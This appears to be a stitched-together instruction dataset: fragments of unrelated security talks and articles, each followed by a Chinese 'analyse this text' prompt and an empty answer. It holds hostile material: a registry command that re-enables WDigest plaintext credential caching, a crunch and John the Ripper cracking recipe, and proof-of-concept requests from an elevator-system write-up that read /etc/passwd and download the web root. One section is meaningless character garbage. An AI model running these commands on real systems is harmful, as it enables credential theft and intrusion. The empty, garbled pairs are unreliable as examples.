0x02 TokenLeakDetectDelaySecs
1
Win7Win8
1 TokenLeakDetectDelaySecs
2 WDigest
1
2
2
 dword 30
 30
3 3126593 (MS16-014)
 3126593
 TokenLeakDetectDelaySecs  0
0x03 WDigest
1 Wdigest
 WDigest
 UseLogonCredential
UseLogonCredential  0WDigest  1
2Bypass KB2871997
Win7Server 2008 R2Windows 8  Server 2012  UseLogonCredential  1
 Windows 8.1  Server 2012 R2  ( ,UseLogonCredential
0
 WDigest  UseLogonCredential  1
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\TokenLeakDetectDela
ySecs
1
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDige
st
1
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
/v UseLogonCredential /t REG_DWORD /d 1 /f
1
0x04 KB2871997
1SID
whoami /priv SID
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
/v UseLogonCredential /t REG_DWORD /d 1 /f
1
rundll32.exe user32.dll LockWorkStation
1
#include<windows.h>
int main(){
    LockWorkStation();
  return 0;
}
1
2
3
4
5
//cs
desktop [explorer pid] x86|x64 low|high
//msf
migrate [explorer pid]
screenshot
1
2
3
4
5
6
S-1-5-113: NT AUTHORITY\Local
S-1-5-114: NT AUTHORITY\Local
1
2
SID
S-1-5-113 S-1-5-114  Administrators  114  113
 SID """
“/
2Restricted Admin RDP Overpass-the-hash)
Restricted Admin RDP   Client
Windows 8.1  Windows Server 2012 R2
Windows 7  Windows Server 2008 R2  KB2871997KB2973351
 Restricted Admin mode (2)
13126593
2 (DisableRestrictedAdmin 0  1 )
Restricted Admin mod RDP
 Restricted Admin mode
Pass the Hash with Remote Deskto...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

You Spent All That Money
...And You Still Got Owned
Presented By:
Joe McCray
joe@learnsecurityonline.com
http://www.linkedin.com/in/joemccray
http://twitter.com/j0emccray
Let me take you back....
Step 1: Tell customer you are 31337 security professional
Customers only applied patches if it fixed something on the system
It was common practice NOT to apply system updates that didn't fix a problem you were
experiencing on a system (WTF ARE YOU DOING - YOU MIGHT BREAK SOMETHING!!!!!)
Step 2: Scan customer network with ISS or Nessus if you were a renegade
Customers didn't apply patches, and rarely even had firewalls and IDSs back then
You know you only ran ISS because it had nice reports...
Step 3: Break out your uber 31337 warez and 0wn it all!!!!!
You only kept an exploit archive to save time (Hack.co.za was all you needed back then)
If you could read the screen you could 0wn the network!!!!!!!
Penetration Testing Was Easy....
If you were Ub3r 31337 you did it like this....
Port Scan & Banner Grab The Target
Get your exploit code...
Own the boxes and take screen-shots
Write The Report...
Get Paid....
More Security Measures are being implemented on company networks today
Firewalls are common place (perimeter and host-based)
Anti-Virus is smarter (removes popular hacker tools, and in some cases stops buffer overflows
Intrusion Detection/Prevention Systems are hard to detect let alone bypass
NAC Solutions are making their way into networks
Network/System Administrators are much more security conscious
IT Hardware/Software vendors are integrating security into their SDLC
.
Geez...That's A Lot To Bypass
Most load-balancers are deployed for redundancy and performance improvement
As an attacker – load balancers are a headache.
You have no idea where you packets are going....
There is absolutely no point in running tools against a host without knowing if a
load balancer has been deployed.
So – step 1 is to determine if the host is lo...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Breaking Bitcoin Hardware Wallets
Glitches cause stitches!
Josh Datko
Chris Quartier
Kirill Belyayev
Updated: 2017/07/07
Link Drop!
All updated references, notes, links, can be found here:
https://www.cryptotronix.com/breakingbitcoin
The bug that started it all
1
bool storage_is_pin_correct(const char *pin)
2
{
3
return strcmp(shadow_config.storage.pin ,
4
pin) == 0;
5
}
On the STM32F205, when the first pin character is wrong it returns
in 100ns. When the fourth was wrong, it returned in about 1100ns.
If this was there, what else could we find?
Broken Window Theory for Bugs
Initial Attack Plan
1. Send change_pin via
Python.
2. Watch the return over
USB–measure when the PIN
failed.
3. Profit?!
Prevents
retries
with
a
busy wait loop.
Back off timer
ChipWhisperer
1
This talk
Fault Attacks
Bitcoin Hardware
 Wallets
ChipWhisperer
One slide intro to Fault Attacks
Definition
An attack that applies an external stress on electronic system,
which generates a security failure2.
Two Parts:
1. Fault Injection
◦ Vcc glitching
◦ Clock glitching
2. Fault Exploitation
◦ Nicolas Bacca suggested glitching flash ops3, we wanted to
bypass the PIN as it was closer to ChipWhisperer examples.
Our Motivation
What happens when you apply the ChipWhisperer to the
STM32F205 (F205)?
# Is the F205 vulnerable to fault injection?
# Is the TREZOR firmware exploitable via a fault?
# How do we raise awareness for these kinds of attacks?
We just press the glitch button right?
# Turns out, you can’t just
shake the wallet and have
BTC fall out.
# Requires some RE to
determine voltages, test
points, how to modify the
firmware, etc...
# HW Wallets went OOS :(
Exhaust the supply chain
How to slow down attacks
The Fail Train Cometh
# Clock glitching kinda worked? It made Windows USB very sad
:(
# Rebooting unsigned firmware is teh suck (buttons to press).
# Timing analysis was working, but power analysis with CW was
not.
# Logic level conversion is proof that the singularity is far away.
# Lots of scotch.
Or...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Web中间件常见漏洞总结
                                                                                ---by lyxhh
IIS
IIS是Internet Information Services的缩写，意为互联网信息服务，是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。
IIS目前只适用于
目前只适用于Windows系统，不适用于其他操作系统。
系统，不适用于其他操作系统。
解析漏洞
解析漏洞
IIS 6.x
基于文件名
该版本 默认会将 *.asp;.jpg 此种格式的文件名，当成Asp解析，原理是 服务器默认不解析; 号及其后面的内容，相当于截断。
基于文件夹名
该版本 默认会将 *.asp/目录下的所有文件当成Asp解析。
另外，IIS6.x除了会将扩展名为.asp的文件解析为asp之外，还默认会将扩展名为.asa，.cdx，.cer解析为asp，
从网站属性->主目录->配置 可以看出，他们都是调用了asp.dll进行的解析。
修复建议
修复建议
由于微软并不认为这是一个漏洞，也没有推出IIS 6.0的补丁，因此漏洞需要自己修复。
1. 限制上传目录执行权限，不允许执行脚本。
2. 不允许新建目录。
3. 上传的文件需经过重命名(时间戳+随机数+.jpg等)
IIS 7.x
安装IIS7.5，
1.控制面板 -> 程序 -> 打开或关闭windows功能。
2.下载php-5.2.6-win32-installer.msi
3.打开msi，一直下一步来到选择web server setup的界面，在这里选择IIS fastcgi,之后一直下一步。
4.打开IIS，管理工具 ->Internet 信息服务(IIS)管理器
5.选择编辑ISAPI或者CGI限制
添加安装的php-cgi.exe路径，描述随意。
6.返回第五步的第一个图片位置，点击处理程序映射，添加如下。
7.phpinfo测试
IIS7.x版本 在Fast-CGI运行模式下,在任意文件，例：test.jpg后面加上/.php，会将test.jpg 解析为php文件。
修复建议
修复建议
配置cgi.fix_pathinfo(php.ini中)为0并重启php-cgi程序
结果如下：
PUT任意文件写入
任意文件写入
IIS Server 在 Web 服务扩展中开启了 WebDAV之后，支持多种请求，配合写入权限，可造成任意文件写入。
修复建议
修复建议
关闭WebDAV 和 写权限
IIS短文件漏洞
短文件漏洞
Windows 以 8.3 格式生成与 MS-DOS 兼容的（短）文件名，以允许基于 MS-DOS 或 16 位 Windows的程序访问这些文件。在cmd下输入"dir /x"即可看到短
文件名的效果。
IIS短文件名产生：
1.当后缀小于4时，短文件名产生需要文件(夹)名前缀字符长度大于等于9位。
2.当后缀大于等于4时，文件名前缀字符长度即使为1，也会产生短文件名。
目前IIS支持短文件名猜测的HTTP方法主要包括：DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种。
IIS 8.0之后的版本只能通过OPTIONS和TRACE方法被猜测成功。
复现：
IIS8.0以下版本需要开启ASP.NET支持，IIS大于等于8.0版本,即使没有安装ASP.NET，通过OPTIONS和TRACE方法也可以猜解成功。
以下通过开启IIS6.0 ASP.NET后进行复现。
当访问构造的某个存在的短文件名，会返回404；
当访问构造的某个不存在的短文件名，会返回400；
IIS短文件漏洞局限性
1) 如果文件名本身太短也是无法猜解的；
2) 此漏洞只能确定前6个字符，如果后面的字符太长、包含特殊字符，很难猜解；
3) 如果文件名前6位带空格，8.3格式的短文件名会补进，和真实文件名不匹配；
4) 如果文件夹名前6位字符带点"."，扫描程序会认为是文件而不是文件夹，最终出现误报；
5) 不支持中文文件名，包括中文文件和中文文件夹。一个中文相当于两个英文字符，故超过4个中文字会产生短文件名，但是IIS不支持中文猜测。
短文件利用工具下载
修复建议
修复建议
1）从CMD命令关闭NTFS 8.3文件格式的支持
Windows Server 2003： (1代表关闭，0代表开启）
关闭该功能：fsutil behavior set d...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Spring Part 2 SpringMVC
审了⼀些Spring的项⽬，还是打算以开发的⻆度从头看⼀下，Spring第⼀部分之前发过⼀遍，这
次打做⼀个补全。跟着B站的视频看的，迷迷糊糊视频快进看了⼀个⼩时，感觉东⻄也不多.....其
实直接上代码看别⼈怎么写的更有效率⼀点233333333
Part3 感觉看下源码分析⽐较好，额，好像springboot也要简单过下，虽然审过了，但是查漏补
缺嘛~
《Spring Part 1 四天学习总结》
https://mp.weixin.qq.com/s/Qqu11XiZkWchhQ15y0J0_A
⼀、SpringMVC 的基本概念
1. 三层架构
表现层、业务层、持久层
2.MVC
MVC 全名是 Model View Controller，是模型(model)－视图(view)－控制器(controller)的缩
写， 是⼀种⽤于设计创建 Web 应⽤程序表现层的模式。
3.SpringMVC
SpringMVC 是⼀种基于 Java 的实现 MVC 设计模型的请求驱动类型的轻量级 Web 框架，属于
Spring FrameWork 的后续产品，已经融合在 Spring Web Flow ⾥⾯。Spring 框架提供了构建
Web 应⽤程序的全功能 MVC 模块。使⽤  Spring 可插⼊的  MVC 架构，从⽽在使⽤ Spring
进⾏ WEB 开发时，可以选择使⽤ Spring 的 Spring MVC 框架或集成其他 MVC 开发框架，如
Struts1(现在⼀般不⽤)，Struts2 等。
SpringMVC 已经成为⽬前最主流的 MVC 框架之⼀，并且随着 Spring3.0 的发布，全⾯超
越 Struts2，成为最优秀的 MVC 框架。它通过⼀套注解，让⼀个简单的 Java 类成为处理请求
的控制器，⽽⽆须实现任何接⼝。同时它还⽀持RESTful 编程⻛格的请求。
4.SpringMVC优势
1、清晰的⻆⾊划分：
前端控制器（DispatcherServlet）  请求到处理器映射（HandlerMapping） 处理器适配器
（HandlerAdapter）
视图解析器（ViewResolver）
处理器或⻚⾯控制器（Controller） 验证器（ Validator）
命令对象（Command 请求参数绑定到的对象就叫命令对象）
表单对象（Form Object 提供给表单展示和提交到的对象就叫表单对象）。
2、分⼯明确，⽽且扩展点相当灵活，可以很容易扩展，虽然⼏乎不需要。
3、由于命令对象就是⼀个 POJO，⽆需继承框架特定 API，可以使⽤命令对象直接作为业务对
象。
4、和 Spring 其他框架⽆缝集成，是其它 Web 框架所不具备的。
5、可适配，通过 HandlerAdapter 可以⽀持任意的类作为处理器。
6、可定制性，HandlerMapping、ViewResolver 等能够⾮常简单的定制。
7、功能强⼤的数据验证、格式化、绑定机制。
8、利⽤ Spring 提供的 Mock 对象能够⾮常简单的进⾏ Web 层单元测试。
9、本地化、主题的解析的⽀持，使我们更容易进⾏国际化和主题的切换。
10、强⼤的 JSP 标签库，使 JSP 编写更容易。
………………还有⽐如RESTful ⻛格的⽀持、简单的⽂件上传、约定⼤于配置的契约式编程
⽀持、基于注解的零配置⽀持等等。
5.SpringMVC与Strusts2对⽐
共同点：
 它们都是表现层框架，都是基于 MVC 模型编写的。它们的底层都离不开原始 ServletAPI。
 它们处理请求的机制都是⼀个核⼼控制器。
区别：
Spring MVC 的⼊⼝是 Servlet, ⽽ Struts2 是 Filter
 Spring MVC 是基于⽅法设计的，⽽ Struts2 是基于类，Struts2 每次执⾏都会创建⼀个动
作类。所以 Spring MVC 会稍微⽐ Struts2 快些。
 Spring MVC 使⽤更加简洁,同时还⽀持 JSR303, 处理 ajax 的请求更⽅便
 (JSR303 是⼀套 JavaBean 参数校验的标准，它定义了很多常⽤的校验注解，我们可以直
接将这些注解加在我们 JavaBean 的属性上⾯，就可以在需要校验的时候进⾏校验了。)
 Struts2 的 OGNL 表达式使⻚⾯的开发效率相⽐ Spring MVC 更⾼些，但执⾏效率并没有
⽐ JSTL 提升，尤其是 struts2 的表单标签，远没有 html 执⾏效率⾼。
⼆、SpringMVC的请求相应流程
1、服务器启动，应⽤被加载。读取到 web.xml 中的配置创建 sprin...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Sneak into buildings
with KNXnet/IP
using BOF
whoami
Claire Vacherot
Senior pentester @ Orange Cyberdefense France
Random info:
►Writing tools (and then discover they already exist)
►Part of GreHack’s organization team
►Penetration testing on "unusual" environments
2
PROGRAMMING
SECURE
PROGRAMMING
… ON EMBEDDED/ICS
DEVICES
EMBEDDED/ICS
DEVICE SECURITY
ICS SECURITY
Best
conference
(after Defcon)
Disclaimer
Please be careful 
Testing industrial systems is dangerous
►Control of physical processes
Impact on people’s safety
►Accidents
►Disabling safety controls
Test in controlled environments
3
BMS
KNX
BOF
BMS
Building
Management/Automation
System
►Components automation & control
►Home, buildings, factories, hospitals, offices, …
5
►HVAC
►Lighting
►Shutters
►Elevators
►Access control
►Intrusion detection
►Safety and security
BMS
6
* "Hackers“ (1995) has a BMS hacking scene
« The pool on the roof has a leak. »
7
The « field » network
8
Actuator
Sensor
Controller
Field bus
The « IP » network
9
IP server
IP gateway
IP interface
Operator
Maintainer
Anyone else
Remote
control!
Why should we take a look?
Exposing « industrial » protocols and devices
►Legacy software and protocols
►Not designed to handle cybersecurity issues
►Not operated with cybersecurity in mind
10
The « interface » device
11
…but reachable
from the LAN
Usually in
electric
cabinets…
Let’s scan it!
12
►21/tcp
ftp
►22/tcp
ssh
►23/tcp
telnet
►80/tcp
http
►443/tcp
https
►3671/udp
knxnet
►47808/udp
bacnet
BMS
link
Admin
Why should we take a look?
13
Regular IP
services
BMS
protocol
service
BMS security wrap up
14
Me
Unknown protocol
=
new attack surface
Entry point
Target
BMS security wrap up
What can we do with that?
#1 Send valid stuff
#2 Send invalid stuff
15
Attack scenario #1
Change BMS behavior
►Enable sprinklers
►Disable fire detection
►Change thresholds
►Turn everything off
►…
16
Me
Legitimate
command
Attack scenario #1
Change BMS behavior
Example
►Listen to the traffic
►Replaying BACnet frames
►Tur...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

The Present & Future of Xprobe2
Founder
O F I R   A R K I N,   F O U N D E R,   T H E   S Y S – S E C U R I T Y   G R O U P
© 2 0 0 0 – 2 0 0 3     T H E   S Y S – S E C U R I T Y   G R O U P
Revolutionizing Active Operating
System Fingerprinting
Ofir Arkin
ofir@sys-security.com
O F I R   A R K I N,   F O U N D E R,   T H E   S Y S – S E C U R I T Y   G R O U P
© 2 0 0 0 – 2 0 0 3     T H E   S Y S – S E C U R I T Y   G R O U P
2
Agenda
 Introduction
–
Ofir Arkin
–
The Xprobe2 project
 The Problems/Issues with Active OS fingerprinting
 The Remedy I
 The Future of Active Operating System Fingerprinting
 Demo – Xprobe2 v0.2
 Future Work
 Questions
O F I R   A R K I N,   F O U N D E R,   T H E   S Y S – S E C U R I T Y   G R O U P
© 2 0 0 0 – 2 0 0 3     T H E   S Y S – S E C U R I T Y   G R O U P
3
Ofir Arkin
 CISO of an International Telephone Carrier
 Founder, The Sys-Security Group
 Computer Security Researcher
– Etherleak: Ethernet frame padding information leakage (with Josh
Anderson)
– IP Telephony Security (Security risk factors with IP Telephony
based networks, numerous advisories and white papers)
– ICMP Usage In Scanning (Security related issues with the ICMP
protocol)
– Information Warfare (trace-back)
 Member, the Honeynet project
O F I R   A R K I N,   F O U N D E R,   T H E   S Y S – S E C U R I T Y   G R O U P
© 2 0 0 0 – 2 0 0 3     T H E   S Y S – S E C U R I T Y   G R O U P
4
Xprobe/Xprobe2 Project
 Open Source Project
 Developers
– Ofir Arkin
– Fyodor Yarochkin
– Meder Kydyraliev
 Xprobe2 is a remote active operating system
fingerprinting tool
 Xprobe2 presents an alternative to other remote active
operating system fingerprinting tools
 Voted one of the top 75 security tools (at the top 50)
O F I R   A R K I N,   F O U N D E R,   T H E   S Y S – S E C U R I T Y   G R O U P
© 2 0 0 0 – 2 0 0 3     T H E   S Y S – S E C U R I T Y   G R O U P
5
Xprobe/Xprobe2 Project History
 Initial alpha release (Xprobe v0.0.1) at the Blackhat ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

THE KEY RECOVERY ATTACKS

AGAINST COMMERCIAL WHITE BOX
CRYPTOGRAPHY IMPLEMENTATIONS
SANGHWAN AHN(H2SPICE), LINE CORPORATION
AGENDA
• Introduction
• WHITE-BOX CRYPTOGRAPHY
• White-box Cryptanalysis
• Conclusion
INTRODUCTION
CRYPTO SYSTEM IN THE SOFTWARE
0 1 0 1
1 1 1 0
1 0 1 1
0 1 0 1
WHITE-BOX THREAT MODEL
● Binary is completely visible to an attacker
● Attacker has full access to the cryptography algorithm
● Attacker has full control over its execution environment
● Unlimited amount of queries
● Trusted execution environment(TEE)
● ARM Trustzone, Intel SGX,  AMD Memory Encryption
● It’s almost safe, but not many supported devices

(mostly latest devices)

● White-box cryptography(WBC)
● All academic WBC solutions have been broken
● No attack has been observed to date on commercial WBC

SECURE ELEMENT
WHITE-BOX
CRYPTOGRAPHY
SubBytes
Key
WBC
ShiftRows
MixColumns
AddRoundKey
PlainText
CipherText
CipherText
PlainText
WHITE-BOX AES IMPLEMENTATION
Sbox ( x ⊕ key )
Key
Input x
Tbox
KEY PARTIAL EVALUATION
unsigned int Tboxes[9][16][256] =
{
    /*First Round, K[0] is 0x6c*/
    {
        0xf05050a0, 0x443c3c78, 0xba9f9f25, 0xe3a8a84b, 0xcf45458a, 0x10f9f9e9, 0x06020204, 0x817f7ffe,
        0xc5434386, 0xd74d4d9a, 0x55333366, 0x94858511, 0x6bd0d0bb, 0x2aefefc5, 0xe5aaaa4f, 0x16fbfbed,
        0x30101020, 0x1affffe5, 0x0ef3f3fd, 0x6dd2d2bf, 0xdfbcbc63, 0xc1b6b677, 0x75dadaaf, 0x63212142,
        0xad92923f, 0xbc9d9d21, 0x48383870, 0x04f5f5f1, 0xf35151a2, 0xfea3a35d, 0xc0404080, 0x8a8f8f05,
        0x7b292952, 0x3ee3e3dd, 0x712f2f5e, 0x97848413, 0xf65252a4, 0x4d3b3b76, 0x61d6d6b7, 0xceb3b37d,
        0x2d1b1b36, 0xb26e6edc, 0xee5a5ab4, 0xfba0a05b, 0x1b090912, 0x9e83831d, 0x742c2c58, 0x2e1a1a34,
        0xde4a4a94, 0xd44c4c98, 0xe85858b0, 0x4acfcf85, 0xbe6a6ad4, 0x46cbcb8d, 0xd9bebe67, 0x4b393972,
        0x60202040, 0x1ffcfce3, 0xc8b1b179, 0xed5b5bb6, 0xf55353a6, 0x68d1d1b9, 0x00000000, 0x2cededc1,
        0x937171e2, 0x73d8d8ab, 0x53313162, 0x3f15152a...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

!
"
#
$
%
&'
(
)
*
*
*
+
,
-
-
.
/
0
!
"
1
2
3
0
4
5
$
"
2
6
7
8
"
2
0
!
%
9
%
$
8
:
8
;
:
%
%
!
<
8
'
%
=
:
8
;
:
%
%
"
2
9
!
8
8
2
9
%
>
0
!
8
?
1
'
0
;
!
8
4
"
2
%
!
"
@
1
%
8
"
%
0
;
4
A
!
B
4
"
9
"
%
1
;
4
8
!
%
$
8
%
8
!
B
2
9
%
$
8
C
D
E
C
8
;
8
!
0
7
F
1
@
7
"
'
G
"
'
8
;
2
8
0
2
1
@
7
"
2
$
8
4
@
%
$
8
H
!
8
8
I
9
%
>
0
!
8
H
1
;
4
0
%
"
;
?
8
"
%
$
8
!
J
8
!
2
"
;
,
9
%
$
8
G
"
'
8
;
2
8
K
!
&0
%
1
!
%
"
;
(
0
;
7
0
%
8
!
J
8
!
2
"
;
=
L
M
N
O
P
Q
R
Q
S
P
T
U
V
W
X
Y
Z
[
\
V
]
^
_
_
`
a
_
b
a
_
c
_
^
O
^
\
O
_
b
S
W
d
U
S
e
Y
d
L
f
g
h
i

j
k
l
i
m
k

n
o
k

i
p
q
p
r
s
t
t
u
v
w
t
x
y
t
z
{
|
x
z
}
~
}
~
}

I
1
!
%
8
4

1
2
5
8
2

F

K
F

K

I
:

I
1
!
%
8
4

1
2
5
8
2

I
1
!
%
8
4

1
2
5
8
2

I
1
!
%
8
4

1
2
5
8
2

I
1
!
%
8
4

1
2
5
8
2

I
1
!
%
8
4

1
2
5
8
2

¡

I
1
!
%
8
4

1
2
5
8
2

F

K
F

K

I
:
K
¢
D

K
%
$
8
!

£

¤
¥

¦

§

I
1
!
%
8
4

1
2
5
8
2

I
:
¨

©
ª
«

¬

§

I
1
!
%
8
4

1
2
5
8
2

I
:
)
p
q

®
¯
°
°
t
s
±
{
²
³
´
s
¯
µ
¶
±
·
z
}
~
¸
~
}

¹

¦
}
~
¸
~
¸

º
»

¼
¦
¦

©

½

¹

¾

©

¨

¿
À

Á

j
o
k

i

q
p
r
s
t
t
u
v
w
t
x
Â
¯
¶
s
±
t
Â
¯
Ã
·
Ä
²
s
t
Å

q

®
¯
°
°
t
s
±
{
²
³
Â
¯
Ã
·
Ä
²
s
t
Æ
¨

Ç
Æ
ª
È
¨
¹

É

Ê
«

Ë
È
È

©

~

È

Ì

¨

Í
Ç
Î
£

¹

Ï
Ð

Ê
Ñ

Ò

Ó
i
i
Á

Ô
i
Ò
Ô
Õ
q
p
®
¯
°
°
t
s
±
{
²
³
´
s
¯
µ
¶
±
·
z
½

Æ
¨

Ì

¬
¨
¹

Ì

,


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

sslssh
0x00
0x01

0x02

SangforDlan
sangfor123
123456
Sangfor123

crunch 5 5 -t ^%%%% -o wordlist2.txt
cat wordlist2.txt | sed -e 's/^/admin/' > output.txt
john --wordlist=output.txt shadow
0x03

0x04


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

记⼀次某电梯Web系统⿊盒到PHP⽩盒挖掘RCE的过程
概述：
闲来⽆事，感觉IOT的洞挺好挖，记⼀次针对某电梯的Web系统挖掘到的⼏个任意
⽂件上传跟命令注⼊的过程，算是对PHP代码审计学习的⼀个记录。)
前置知识：
PHP执⾏命令函数：)
1、shell_exec())
string)shell_exec)()string)$cmd)))执⾏命令，并将结果作为字符串返回。)
返回值：如果执⾏失败，则返回NULL。执⾏成功则返回执⾏结果字符串。)
注意：This)function)is)disabled)when)PHP)is)running)in)safe)mode)
2、passthru())
void)passthru)()string)$command)[,)int)&$return_var)])))
没有返回值，函数直接将执⾏结果返回给浏览器。函数第⼆个参数就是执⾏状态
码：返回0表⽰成功，返回1表⽰失败。)
3、exec())
string)exec(string)command,)string)[array],)int)[return_var]);)
command)–)需要执⾏的命令)
array)–)是输出值填充的数组(每⼀⾏作为数组的⼀项))
return_var–是返回值0或1，如果返回0则执⾏成功，返回1则执⾏失败。)
执⾏不成功时的⽅案：⼀个技巧就是使⽤管道命令,)使⽤)2>&1,)命令就会输出shell
执⾏时的错误到$output变量,)输出该变量即可分析。)
如：exec(‘convert)a.jpg)b.jpg’,)$output,)$return_val);改为：exec(‘convert)a.jpg)b.jpg)
2>&1’,)$output,)$return_val);)print_r($output);)
4、system())
string)system)()string)$command)[,)int)&$return_var)])))
return_var):命令执⾏状态码。返回0表⽰成功，返回1表⽰失败。)
返回值：返回执⾏结果的最后⼀⾏，如果失败返回FALSE.)
⼆、区别)
1、shell_exec())只返回，不输出。)
2、passthru())只输出，不返回，有状态码。)
3、exec())返回最后⼀⾏结果，所有结果可以保存到⼀个返回的数组⾥⾯，有状态
码。)
4、system())输出返回最后⼀⾏结果。)有状态码。)
漏洞分析：
最早⿊盒发现，存在任意⽂件读取
)
进⾏抓包)
)
篡改成系统其他路径，成功读取系统⽤户。)
POST /app_show_log_lines.php HTTP/1.1)
Host: xxx.xxx.xxx.xxx)
Content-Type: application/x-www-form-urlencoded)
Connection: close)
Content-Length: 25)
)
fileselection=/etc/passwd)
说明存在任意⽂件读取漏洞，这个先暂时记录下来，如果没有其他⿊盒能找到的洞
的话，就直接利⽤这个对页⾯的URI路径全部爬取，进⾏源码读取再审计。)
)
接着发现另外⼀个功能可以任意⽂件全部打包成⼀个zip⽂件提供下载，)
)
以及在页⾯监控中看进程看到了服务器上正在运⾏apache服务，)
)
渗透熟练的⼩伙伴应该知道apache默认⽹站路径是/var/www/html，我们直接尝
试打包这个⽂件夹下来看看源码在不在⾥⾯（如果不在的话，再利⽤上⾯的任意⽂
件读取，fuzz跑⼀下apache的配置⽂件，再通过从配置⽂件中去寻找对应的web路
径。）)
POC：)
POST /app_download_zipped_logs.php HTTP/1.1)
Host: X.X.X.X)
Content-Type: application/x-www-form-urlencoded)
Connection: close)
Content-Length: 34)
)
fileselection[]=/var/www/html/*)
)
成功下载该源码，可以开始⽩盒审计。)
如果代码量⼤的⾮MVC结构的，还是建议扫描器扫⼀遍，个⼈习惯喜欢先看看现有
的功能点全部过⼀遍⼤概⼼⾥有个底，然后每个代码快速阅读，再根据个⼈经验针
对⼤概率出现问题的⼀些功能针对性查看。)
)
访问Con`iguration发现访问了authorization.php那我们本地先从这个⽂件开始看，)
)
从第32⾏看到最后调⽤校验账号密码是/etc/apache2/.htpasswd⽂件，我们利⽤前
⾯的任意⽂件读取即可获得密码。...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

“WMAP: Metasploit goes Web”
ET
Introduction
• No agenda in this presentation
• No Sun Wu Tzu “The Art of War” Stuff In
this presentation either.
– #nomorefree-art-of-war-stuff-in-security-
presentations.
• No history of web scanners
Introduction
• Efrain Torres
– 2*5+ years enjoying IT
security
– Metasploit team
– et [at] metasploit.com
WMAP
• Web assessment as Metasploit auxiliary
modules
– Run modules by hand or automated
• Still early stages
– blame it to the crisis
• Metasploit Prime (SecTor 08)
– “Expect a big announcement soon!”, HD
• This is it.
WMAP
• Why?
– Struggle with tools that find vulnerabilities
while browsing an application.
• Easy way to get detected by IDS/IPS
– Crawl as a user.
– Attack like a ninja later.
– Suffering by tools that can only be run on
windows environments.
• Tied to a specific browser
• IE Control. (You are assuming the target is good
and no evil)
WMAP
• Why?
– Too much focus on whistles and bells.
• When was the last time a pie chart was useful for
you.
– No more crap regarding vulnerabilities
classification and risks.
• Sometimes a High is just a Low
– (I'm not talking about FP’s)
• And a couple of Lows can get you High
• What the hell is a High, Medium, Low?
– Real Impact?
WMAP
NO
YES
WMAP
• Objectives
– A way to tie testing methods with exploitation
methods
– Make something useful to help in the
assessment of anything related to HTTP/S
– WMAP may be used as a scanner but it
should be treated as an extension of the
Metasploit framework.
WMAP
• The more web assessment/scanners/etc
tools the better.
– Each tool has its own limitations, pros and
cons.
– Choose the damn tool you like (it’s just a tool)
– “A Poor Workman Blames His Tools”
• W3AF is awesome.
• SQLmap is awesome.
• _________
WMAP
•Multiple Clients
•Any Proxy
•Metasploit DB
•Simple modules
•Ruby
WMAP
• db_wmap
– Identify possible targets
– Build target website structure
– Run the modules in a specific order
– Reporting
msf > load db_wmap
[*] =[ ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

FORENSICS IS ONLY FOR
PRIVATE INVESTIGATORS NOW!
OR
WHO NEEDS CERTIFICATIONS?
Scott A. Moulton
Forensic Strategy Services, LLC.
www.ForensicStrategy.com
DISCLAIMER
  This is NOT Animated!
  Everything I state is my opinion and is
based on my research and experiences.
  I am not A lawyer!
  I am not YOUR lawyer!
  Talk to your own lawyer and do your own
research.
  I am sure that some of you will get angry
about this speech and the new laws, but I
am not the bad guy.
  This is for your Entertainment!
  States are passing new laws and implementing
them very quickly. These laws can go into effect
immediately with no grandfathering of current
non-licensed people nor giving them a path to get
licensed by the deadlines.
  The PI Board in many states is lobbying similar
wording and trying to get similar laws passed
and shooting for a felony.
  Most computer forensic or computer security
professional have no idea this is happening at all
or believe that it applies to them.
WHY IS THIS SPEECH IMPORTANT TO YOU?
FOR EXAMPLE:
RECENT EVENTS IN MICHIGAN
  Michigan passed the “Professional Investigator
Licensure Act” on May 28th 2008.
  I makes it a felony to practice computer forensics
without a license going into effect:
“This act is ordered to take immediate effect.”
  Penalty:
 (3) A person violating this section is guilty of a felony
punishable by imprisonment for not more than 4 years or
by a penal fine of not more than $5,000.00, or both.
OPINIONS ABOUT THESE LAWS
  Some people think regulation is needed.. It gets
rid of the rift raft that hangs out a sign
  Some think that they would rather have the
worst computer guy working on their case more
than a current PI and generally believe the PI is
not qualified.
  And others state that this is a field of science and
not surveillance and computer science does not
belong under the PI wing.
  But a lot more people just think it does not apply
to them, such...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

An Insider’s Options
Michael Rich
mike@tofet.net
 The Challenge
 The Tools Available
 Phase 0 – Set up
 Phase 1 – Hex Attack
 Phase 2 – Attack of the Big Barcode
 Bringing it all Together
 Future/Branch Research Paths
 Conclusion
 There I was, hacking the collaboration portal..
 How could I intercept the POST call to modify
the inputs?
 Tamper Data, Burp Suite, etc..
How could  I forge the POST call?
 Curl, wget, etc..
 Eventually:  “How could I load one of these
tools on to my closed, secure network without
getting caught?”
 Closed, secured network (sort of)
 USB ports secured & monitored
 CD use secured & monitored
 Host-based security system
 Data transfer entry points do exist (DOTS)
 Not in control of attacker
 Unknown scanning rules
 Leaves logs
 Windows / MS-Office environment
 MS Office = Visual Basic for Applications
 Professional level printers & scanners
 Adobe Acrobat OCR
 Put Excel into attack mode
 Consolas Font – Down to 8 pt font
 Use Phase 0 methods to make Excel a binary
file hex encoder/decoder
 Why hex?
 Printable text
 Tests showed excellent OCR results
Hex Encoding
Base64 Encoding
Encoding
Consolas, 8 pt font
Consolas, 12 pt font
Word Length Errors
(80 char words)
0 in 73 words
9 in 73 words
Transcription Errors
0 in 5840 symbols
